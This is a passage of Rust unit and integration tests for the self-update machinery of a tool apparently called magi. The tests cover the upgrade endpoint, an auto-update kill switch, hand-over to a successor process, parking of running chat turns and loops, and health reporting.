21623
21624 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
21625 assert!(
21626 !update_recheck_due(&checker, None),
21627 "a check made moments ago must not be repeated before the \
21628 configured interval elapses"
21629 );
21630 }
21631
21632 #[test]
21638 fn recheck_defers_to_an_upgrade_already_in_flight() {
21639 let dir = TempDir::new().expect("temp dir");
21640 let path = dir.path().join("state.json");
21641 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
21642 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
21643
21644 assert!(
21645 !update_recheck_due(&checker, Some(&progress)),
21646 "a recheck must not run while an upgrade this deck started is \
21647 still moving"
21648 );
21649 }
21650
21651 #[tokio::test]
21652 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
21653 unsafe {
21665 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21666 }
21667 let fx = Fixture::start().await;
21668 let res = fx.post("/api/upgrade", None).await;
21669 unsafe {
21670 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21671 }
21672 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
21673 let body = res.json();
21674 assert!(body["to"].is_null(), "there was no release to move to");
21675 assert!(body["parked"].is_null(), "and nothing was parked");
21676 assert!(
21677 body["detail"]
21678 .as_str()
21679 .unwrap()
21680 .contains("disabled by MAGI_NO_AUTOUPDATE"),
21681 "{body:?}"
21682 );
21683 }
21684
21685 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
21686 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
21687 p.stage = stage;
21688 p
21689 }
21690
21691 #[test]
21692 fn busy_stages_match_the_ui_set() {
21693 use crate::updater::Stage;
21694 assert!(APP_JS.contains(
21695 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
21696 ));
21697 for s in [
21698 Stage::Downloading,
21699 Stage::Replaced,
21700 Stage::Parking,
21701 Stage::Restarting,
21702 ] {
21703 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
21704 }
21705 for s in [Stage::Done, Stage::Failed] {
21706 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
21707 }
21708 assert!(upgrade_in_motion(None).is_none());
21709 }
21710
21711 #[tokio::test]
21712 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
21713 use crate::updater::Stage;
21714 for stage in [
21715 Stage::Downloading,
21716 Stage::Replaced,
21717 Stage::Parking,
21718 Stage::Restarting,
21719 ] {
21720 let fx = Fixture::start().await;
21721 let seeded = seeded_progress(stage);
21722 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
21723 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
21724 .expect("read");
21725
21726 let res = fx.post("/api/upgrade", None).await;
21727 assert_eq!(res.status, 409, "{stage:?}");
21728 let err = res.json()["error"].as_str().unwrap().to_owned();
21729 assert!(err.contains("already in progress"), "{err}");
21730 assert!(err.contains(stage.as_str()), "{err}");
21731
21732 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
21733 .expect("read");
21734 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
21735 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
21736 .unwrap_or_default();
21737 assert!(!log.contains("signalling HANDOVER"), "{log}");
21738 }
21739 }
21740
21741 #[test]
21742 fn upgrade_retry_timing_only_parses_known_diagnostics() {
21743 assert_eq!(
21744 upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
21745 Some(3723)
21746 );
21747 assert_eq!(
21748 upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
21749 Some(60)
21750 );
21751 assert_eq!(
21752 upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
21753 Some(0)
21754 );
21755 for message in [
21756 "permission denied",
21757 "GitHub API rate limit exceeded",
21758 "GitHub rate limit (resets in unknown)",
21759 "GitHub rate limit (resets in 18446744073709551615d)",
21760 ] {
21761 assert_eq!(upgrade_retry_after(message), None, "{message}");
21762 }
21763 }
21764
21765 #[tokio::test]
21766 async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
21767 let home = TempDir::new().unwrap();
21768 let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
21769 ui.start_loop(None).unwrap();
21770 updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
21771 let before = std::fs::read(updater::progress_path(home.path())).unwrap();
21772 let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
21773 let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
21774 let response = finish_upgrade_request(&ui, result);
21775 assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
21776 assert_eq!(response.headers()["retry-after"], "120");
21777 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
21778 .await
21779 .unwrap();
21780 let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
21781 assert!(body["error"].as_str().unwrap().contains(reason));
21782 assert_eq!(body["retry_after_secs"], 120);
21783 assert!(body["retry_at"].as_u64().is_some());
21784 for _ in 0..2 {
21785 let view = health(State(ui.clone())).await.unwrap().0;
21786 let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
21787 assert_eq!(failure, body);
21788 }
21789 assert_eq!(
21790 std::fs::read(updater::progress_path(home.path())).unwrap(),
21791 before
21792 );
21793 assert!(!ui.lock_loop().resume_after_handover);
21794 assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
21795 assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
21796 let gate = ui.upgrade_gate.lock().await;
21798 assert_eq!(
21799 upgrade_post(State(ui.clone())).await.status(),
21800 StatusCode::CONFLICT
21801 );
21802 drop(gate);
21803 assert!(
21804 health(State(ui.clone()))
21805 .await
21806 .unwrap()
21807 .0
21808 .upgrade_request_error
21809 .is_some()
21810 );
21811 let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
21812 assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
21813 assert!(
21814 health(State(ui.clone()))
21815 .await
21816 .unwrap()
21817 .0
21818 .upgrade_request_error
21819 .is_none()
21820 );
21821 let live = ui.lock_loop().live.take().unwrap();
21822 live.stop.stop();
21823 live.handle.await.unwrap();
21824 }
21825
21826 #[tokio::test]
21827 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
21828 use crate::updater::Stage;
21829 let repo = TempDir::new().expect("repo dir");
21830 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
21831 .expect("write magi.toml");
21832 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
21833 for stage in [Stage::Done, Stage::Failed] {
21834 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
21835 let res = fx.post("/api/upgrade", None).await;
21836 assert_eq!(res.status, 200, "{stage:?}");
21837 }
21838 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
21840 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
21841 }
21842
21843 #[tokio::test]
21844 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
21845 let repo = TempDir::new().expect("repo dir");
21861 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
21862 .expect("write magi.toml");
21863 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
21864
21865 let res = fx.post("/api/upgrade", None).await;
21871 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
21872 let body = res.json();
21873 assert!(body["to"].is_null(), "there was no release to move to");
21874 assert!(body["parked"].is_null(), "and nothing was parked");
21875 assert!(
21876 body["detail"]
21877 .as_str()
21878 .unwrap()
21879 .contains("nothing restarted"),
21880 "{body:?}"
21881 );
21882 }
21883
21884 #[tokio::test]
21885 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
21886 let repo = TempDir::new().expect("repo dir");
21891 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
21892 .expect("write magi.toml");
21893 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
21894
21895 let health = fx.get("/api/health").await.json();
21896 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
21897 assert_eq!(
21898 health["update"]["available"], false,
21899 "checking is off, which reads as \"unknown\", not \"none\""
21900 );
21901 assert!(health["update"]["to"].is_null());
21902 assert!(
21903 health["upgrade"].is_null(),
21904 "nothing has ever asked this deck to upgrade"
21905 );
21906 }
21907
21908 #[tokio::test]
21909 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
21910 let fx = Fixture::start().await;
21911 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
21912
21913 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21914 progress.parked_run = Some("20260905-000000-cd51".to_owned());
21915 progress.advance(crate::updater::Stage::Parking);
21916 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21917
21918 let health = fx.get("/api/health").await.json();
21919 assert_eq!(health["upgrade"]["stage"], "parking");
21920 assert_eq!(health["upgrade"]["from"], "0.5.1");
21921 assert_eq!(health["upgrade"]["to"], "0.5.2");
21922 let waiting_on = health["upgrade"]["waiting_on"]
21923 .as_str()
21924 .expect("waiting_on is set while parking a known run");
21925 assert!(waiting_on.contains("cd51"), "{waiting_on}");
21926 assert!(waiting_on.contains("implementing"), "{waiting_on}");
21927 }
21928
21929 #[tokio::test]
21930 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
21931 let fx = Fixture::start().await;
21932 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21933 progress.advance(crate::updater::Stage::Done);
21934 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21935
21936 let health = fx.get("/api/health").await.json();
21937 assert_eq!(health["upgrade"]["stage"], "done");
21938 assert!(
21939 health["upgrade"]["waiting_on"].is_null(),
21940 "nothing to wait on once it is done"
21941 );
21942 }
21943
21944 #[tokio::test]
21945 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
21946 let home = TempDir::new().expect("temp home");
21947 let runs = home.path().join("runs");
21948 std::fs::create_dir_all(&runs).expect("runs dir");
21949 let ui = Ui::new(
21950 Queue::at(home.path().join("queue")),
21951 Questions::at(home.path().join("questions")),
21952 Talks::at(home.path().join("talks")),
21953 runs,
21954 home.path().to_path_buf(),
21955 PathBuf::from("/repo/magi"),
21956 )
21957 .with_launch(launch_idle);
21958 let looping = ui.looping();
21959 let turns = ui.turns();
21960 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
21961 .await
21962 .expect("bind loopback");
21963 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
21964
21965 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21966 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
21967
21968 hand_over(
21969 home.path(),
21970 &looping,
21971 &turns,
21972 &|_: &[String]| Duration::from_secs(5),
21973 served,
21974 |_| Ok(1),
21975 )
21976 .await
21977 .expect("hand over");
21978
21979 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
21980 assert_eq!(
21981 after.stage,
21982 crate::updater::Stage::Restarting,
21983 "hand_over owns the record through parking and up to restarting; \
21984 the successor is what finishes it"
21985 );
21986 }
21987
21988 #[tokio::test]
21991 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
21992 for fail in [false, true] {
21993 let home = TempDir::new().expect("temp home");
21994 let ui = idle_ui(&home);
21995 let looping = ui.looping();
21996 let turns = ui.turns();
21997 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
21998 .await
21999 .expect("bind loopback");
22000 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
22001 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22002 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
22003
22004 let calls = std::sync::atomic::AtomicUsize::new(0);
22005 let outcome = hand_over(
22006 home.path(),
22007 &looping,
22008 &turns,
22009 &|_: &[String]| Duration::from_secs(5),
22010 served,
22011 |_| {
22012 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22013 if fail {
22014 anyhow::bail!("no exec")
22015 } else {
22016 Ok(4242)
22017 }
22018 },
22019 )
22020 .await;
22021 assert_eq!(outcome.is_err(), fail);
22022 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22023
22024 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
22025 .expect("upgrade.log is written under the home");
22026 for step in [
22027 "entered",
22028 "finish_loop",
22029 "listener released",
22030 "starting the successor",
22031 ] {
22032 assert!(log.contains(step), "missing `{step}` in:\n{log}");
22033 }
22034 assert!(
22035 log.contains(if fail { "did not start" } else { "pid 4242" }),
22036 "{log}"
22037 );
22038 }
22039 }
22040
22041 #[tokio::test]
22044 async fn the_handover_signal_wakes_one_waiter_once() {
22045 let signal = Notify::new();
22046 signal.notify_one();
22048 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
22049 .await
22050 .expect("an early signal is still seen");
22051 assert!(
22053 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
22054 .await
22055 .is_err(),
22056 "a consumed signal must not wake a second time"
22057 );
22058 let signal = std::sync::Arc::new(signal);
22060 let waiter = tokio::spawn({
22061 let signal = std::sync::Arc::clone(&signal);
22062 async move { wait_for_handover(&signal).await }
22063 });
22064 tokio::time::sleep(Duration::from_millis(20)).await;
22065 assert!(!waiter.is_finished(), "nothing was signalled yet");
22066 signal.notify_one();
22067 tokio::time::timeout(Duration::from_secs(5), waiter)
22068 .await
22069 .expect("a late signal wakes the waiter")
22070 .expect("join");
22071 }
22072
22073 #[tokio::test]
22074 async fn health_says_how_long_a_handover_has_been_stuck() {
22075 let fx = Fixture::start().await;
22076 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22077 progress.advance(crate::updater::Stage::Replaced);
22078 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
22079 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22080
22081 let health = fx.get("/api/health").await.json();
22082 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
22083 assert!(stuck >= 600, "{stuck}");
22084 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
22085 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
22086 }
22087
22088 #[tokio::test]
22089 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
22090 let home = tempfile::tempdir().expect("temp home");
22091 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22092 progress.advance(crate::updater::Stage::Parking);
22093 crate::updater::write_progress(home.path(), &progress).expect("seed");
22094 let mut again = progress.clone();
22096 again.advance(crate::updater::Stage::Replaced);
22097 crate::updater::write_progress(home.path(), &again).expect("replaced");
22098 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22099 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
22100 let after = crate::updater::read_progress(home.path()).expect("record");
22101 assert_eq!(after.stage, crate::updater::Stage::Parking);
22102 }
22103
22104 #[tokio::test]
22105 async fn health_does_not_call_a_live_parking_wait_stuck() {
22106 let fx = Fixture::start().await;
22107 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22108 progress.parked_run = Some("20260905-000000-cd51".to_owned());
22109 progress.advance(crate::updater::Stage::Parking);
22110 let hours = Duration::from_secs(3 * 3600);
22111 progress.started_at = Timestamp::now() - hours;
22112 progress.updated_at = Timestamp::now() - hours;
22113 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22114 let _lease = crate::updater::LeaseGuard::enter(
22115 fx.home.path(),
22116 Some("20260905-000000-cd51".to_owned()),
22117 );
22118
22119 let health = fx.get("/api/health").await.json();
22120 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
22121 assert!(health["upgrade"]["stuck_kind"].is_null());
22122 assert_eq!(health["upgrade"]["handover_alive"], true);
22123 let waiting_on = health["upgrade"]["waiting_on"]
22124 .as_str()
22125 .expect("waiting_on");
22126 assert!(waiting_on.contains("cd51"), "{waiting_on}");
22127 }
22128
22129 fn idle_ui(home: &TempDir) -> Ui {
22130 let runs = home.path().join("runs");
22131 std::fs::create_dir_all(&runs).expect("runs dir");
22132 Ui::new(
22133 Queue::at(home.path().join("queue")),
22134 Questions::at(home.path().join("questions")),
22135 Talks::at(home.path().join("talks")),
22136 runs,
22137 home.path().to_path_buf(),
22138 PathBuf::from("/repo/magi"),
22139 )
22140 .with_launch(launch_idle)
22141 }
22142
22143 async fn park_fixture(
22144 home: &TempDir,
22145 ) -> (
22146 Ui,
22147 Arc<Mutex<LoopState>>,
22148 Arc<Mutex<TalkTurns>>,
22149 tokio::task::JoinHandle<std::io::Result<()>>,
22150 ) {
22151 let ui = idle_ui(home);
22152 let looping = ui.looping();
22153 let turns = ui.turns();
22154 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22155 .await
22156 .expect("bind loopback");
22157 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
22158 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22159 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
22160 (ui, looping, turns, served)
22161 }
22162
22163 #[tokio::test]
22167 async fn hand_over_waits_for_a_running_chat_turn() {
22168 let home = TempDir::new().expect("temp home");
22169 let (ui, looping, turns, served) = park_fixture(&home).await;
22170 let ui = Arc::new(ui);
22171 let id = "20260901-000000-chat";
22172 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22173
22174 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22175 let handover = tokio::spawn({
22176 let home = home.path().to_path_buf();
22177 let turns = Arc::clone(&turns);
22178 let calls = Arc::clone(&calls);
22179 async move {
22180 hand_over(
22181 &home,
22182 &looping,
22183 &turns,
22184 &|_: &[String]| Duration::from_secs(60),
22185 served,
22186 move |_| {
22187 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22188 Ok(1)
22189 },
22190 )
22191 .await
22192 }
22193 });
22194
22195 let waiting = async {
22196 for _ in 0..200 {
22197 if crate::updater::read_progress(home.path())
22198 .is_some_and(|p| p.parked_talks == [id.to_owned()])
22199 {
22200 return;
22201 }
22202 tokio::time::sleep(Duration::from_millis(25)).await;
22203 }
22204 panic!("the park never named the chat turn");
22205 };
22206 waiting.await;
22207 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
22208
22209 let refused = ui.begin_talk_turn("20260901-000000-late").err();
22212 assert!(
22213 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
22214 "a direct start says an upgrade is in progress"
22215 );
22216 assert!(
22217 ui.begin_queued_talk_turn("20260901-000000-late")
22218 .expect("queued claim")
22219 .is_none()
22220 );
22221 assert!(matches!(
22222 ui.begin_talk_turn_unless_pending("20260901-000000-late")
22223 .expect("start"),
22224 TalkTurnStart::Busy
22225 ));
22226 assert_eq!(turns.lock().unwrap().live.len(), 1);
22227
22228 let progress = crate::updater::read_progress(home.path()).expect("progress");
22230 let view = upgrade_progress_view(&ui, progress);
22231 assert!(
22232 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
22233 "{:?}",
22234 view.waiting_on
22235 );
22236
22237 assert!(!handover.is_finished());
22238 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
22239 drop(turn);
22240 handover.await.expect("join").expect("hand over");
22241 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22242 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
22243 }
22244
22245 #[tokio::test]
22248 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
22249 let home = TempDir::new().expect("temp home");
22250 let (ui, looping, turns, served) = park_fixture(&home).await;
22251 let ui = Arc::new(ui);
22252 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
22254 lock_or_recover(&looping).live = Some(Live {
22255 stop: daemon::Stop::new(),
22256 handle: tokio::spawn(async move {
22257 let _ = loop_ended.await;
22258 }),
22259 opts: daemon::Opts::default(),
22260 });
22261
22262 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22263 let handover = tokio::spawn({
22264 let home = home.path().to_path_buf();
22265 let turns = Arc::clone(&turns);
22266 let calls = Arc::clone(&calls);
22267 async move {
22268 hand_over(
22269 &home,
22270 &looping,
22271 &turns,
22272 &|_: &[String]| Duration::from_secs(60),
22273 served,
22274 move |_| {
22275 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22276 Ok(1)
22277 },
22278 )
22279 .await
22280 }
22281 });
22282
22283 let reached = async {
22284 for _ in 0..200 {
22285 if crate::updater::read_progress(home.path())
22286 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
22287 {
22288 return;
22289 }
22290 tokio::time::sleep(Duration::from_millis(25)).await;
22291 }
22292 panic!("the hand-over never reached parking");
22293 };
22294 reached.await;
22295
22296 assert!(!turns.lock().unwrap().parking);
22298 let turn = ui
22299 .begin_talk_turn("20260901-000000-chat")
22300 .expect("claim")
22301 .expect("a turn can start while the loop parks");
22302
22303 end_loop.send(()).expect("loop still waiting");
22305 for _ in 0..200 {
22306 if turns.lock().unwrap().parking {
22307 break;
22308 }
22309 tokio::time::sleep(Duration::from_millis(25)).await;
22310 }
22311 assert!(
22312 turns.lock().unwrap().parking,
22313 "closed once the loop is done"
22314 );
22315 let refused = ui.begin_talk_turn("20260901-000000-late").err();
22316 assert!(
22317 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
22318 "no turn starts once the loop is done"
22319 );
22320 assert!(
22321 ui.begin_queued_talk_turn("20260901-000000-late")
22322 .expect("queued claim")
22323 .is_none()
22324 );
22325 assert!(!handover.is_finished());
22326 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
22327
22328 drop(turn);
22329 handover.await.expect("join").expect("hand over");
22330 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22331 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
22332 }
22333
22334 #[tokio::test]
22337 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
22338 let home = TempDir::new().expect("temp home");
22339 let (ui, looping, turns, served) = park_fixture(&home).await;
22340 let id = "20260901-000000-stuk";
22341 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22342
22343 let calls = std::sync::atomic::AtomicUsize::new(0);
22344 hand_over(
22345 home.path(),
22346 &looping,
22347 &turns,
22348 &|_: &[String]| Duration::from_millis(300),
22349 served,
22350 |_| {
22351 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22352 Ok(1)
22353 },
22354 )
22355 .await
22356 .expect("hand over");
22357 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22358
22359 let progress = crate::updater::read_progress(home.path()).expect("progress");
22360 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
22361 assert!(
22362 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
22363 "{:?}",
22364 progress.detail
22365 );
22366 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
22367 assert!(
22368 log.contains("handing over anyway") && log.contains(id),
22369 "{log}"
22370 );
22371 }
22372
22373 #[tokio::test]
22376 async fn drain_loop_starts_no_turn_while_parking() {
22377 let tmp = TempDir::new().expect("tempdir");
22378 let repo = tmp.path().join("repo");
22379 std::fs::create_dir_all(&repo).expect("repo dir");
22380 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
22381 let home = TempDir::new().expect("temp home");
22382 let talks = Talks::at(home.path().join("talks"));
22383 let ui = Ui::new(
22384 Queue::at(home.path().join("queue")),
22385 Questions::at(home.path().join("questions")),
22386 talks.clone(),
22387 home.path().join("runs"),
22388 home.path().to_path_buf(),
22389 repo.clone(),
22390 )
22391 .with_worktrees_root(home.path().join("wt"));
22392 let cfg = config_for(&repo).await.expect("discover config");
22393 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
22394 let id = talk.id.clone();
22395 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
22396 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
22397 let turns = ui.turns();
22398 let parking = ParkingTurns::begin(&turns);
22399
22400 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
22401
22402 assert!(
22403 turns.lock().unwrap().live.is_empty(),
22404 "the slot is given up"
22405 );
22406 let fresh = talks.get(&id).expect("talk");
22407 assert_eq!(fresh.pending, "later", "the draft is still queued");
22408 assert!(fresh.turns.is_empty(), "no turn ran");
22409 drop(parking);
22410 }
22411
22412 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
22414 let looping = ui.looping();
22415 let turns = ui.turns();
22416 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22417 .await
22418 .expect("bind loopback");
22419 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
22420 let told = std::sync::Mutex::new(None);
22421 hand_over(
22422 home.path(),
22423 &looping,
22424 &turns,
22425 &|_: &[String]| Duration::from_secs(5),
22426 served,
22427 |resume| {
22428 *told.lock().unwrap() = Some(resume);
22429 Ok(1)
22430 },
22431 )
22432 .await
22433 .expect("hand over");
22434 told.into_inner().unwrap().expect("successor was started")
22435 }
22436
22437 #[tokio::test]
22438 async fn a_running_loop_is_resumed_by_the_successor() {
22439 let home = TempDir::new().expect("temp home");
22440 let ui = idle_ui(&home);
22441 ui.start_loop(None).expect("start");
22442 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22443 for _ in 0..500 {
22445 if !ui.loop_view(None).running {
22446 break;
22447 }
22448 tokio::time::sleep(Duration::from_millis(2)).await;
22449 }
22450 assert!(handed_over(&home, ui).await, "a running loop must resume");
22451
22452 let successor = idle_ui(&home);
22453 assert!(!successor.loop_view(None).running);
22454 assert!(successor.resume_after_handover(true));
22455 assert!(successor.loop_view(None).running);
22456 successor.stop_loop(None, false).expect("stop");
22457 }
22458
22459 #[tokio::test]
22460 async fn a_second_upgrade_request_keeps_the_resume_intent() {
22461 let home = TempDir::new().expect("temp home");
22462 let ui = idle_ui(&home);
22463 ui.start_loop(None).expect("start");
22464 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
22465 .expect("first park");
22466 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
22467 .expect("second park");
22468 assert!(handed_over(&home, ui).await);
22469 }
22470
22471 #[tokio::test]
22472 async fn a_stop_during_the_handover_wait_is_honoured() {
22473 let home = TempDir::new().expect("temp home");
22474 let ui = idle_ui(&home);
22475 ui.start_loop(None).expect("start");
22476 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22477 ui.stop_loop(None, false).expect("stop");
22478 assert!(!handed_over(&home, ui).await);
22479 }
22480
22481 #[tokio::test]
22482 async fn an_idle_loop_stays_stopped_across_the_handover() {
22483 let home = TempDir::new().expect("temp home");
22484 let ui = idle_ui(&home);
22485 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22486 assert!(!handed_over(&home, ui).await);
22487
22488 let successor = idle_ui(&home);
22489 assert!(!successor.resume_after_handover(false));
22490 assert!(!successor.loop_view(None).running);
22491 }
22492
22493 #[tokio::test]
22494 async fn a_loop_the_operator_stopped_is_not_resumed() {
22495 let home = TempDir::new().expect("temp home");
22496 let ui = idle_ui(&home);
22497 ui.start_loop(None).expect("start");
22498 ui.stop_loop(None, false).expect("stop");
22499 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22500 assert!(!handed_over(&home, ui).await);
22501 }
22502
22503 #[test]
22504 fn only_an_explicit_one_requests_a_resume() {
22505 assert!(!resume_requested(None));
22506 assert!(!resume_requested(Some("0".into())));
22507 assert!(!resume_requested(Some("".into())));
22508 assert!(resume_requested(Some("1".into())));
22509 }
22510
22511 #[test]
22512 fn the_upgrade_button_arms_before_it_restarts_anything() {
22513 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
22516 assert!(APP_JS.contains("Replace the binary and restart?"));
22517 assert!(APP_JS.contains("function confirmed("));
22518 assert!(APP_JS.contains("show(upgradeBtn, canUpgrade)"));
22523 assert!(
22527 APP_JS.contains("Parking, then restarting"),
22528 "the button says what it is waiting for"
22529 );
22530 assert!(APP_JS.contains("if (!out.to)"));
22533 }
22534
22535 #[test]
22536 fn stopping_the_loop_arms_but_starting_does_not() {
22537 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
22540 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
22541 assert!(APP_JS.contains("confirmed(button, question)"));
22542 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
22545 assert!(APP_JS.contains("const label = btn.textContent;"));
22546 assert!(!APP_JS.contains("Neither direction is guarded"));
22547 }
22548
22549 #[test]
22550 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
22551 assert!(
22552 APP_JS.contains("state.health.version"),
22553 "the operator wants to know what is running even with nothing newer"
22554 );
22555 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
22556 }
22557
22558 #[test]
22559 fn the_upgrade_button_names_its_destination() {
22560 assert!(
22561 APP_JS.contains("`Update to ${update.to}`"),
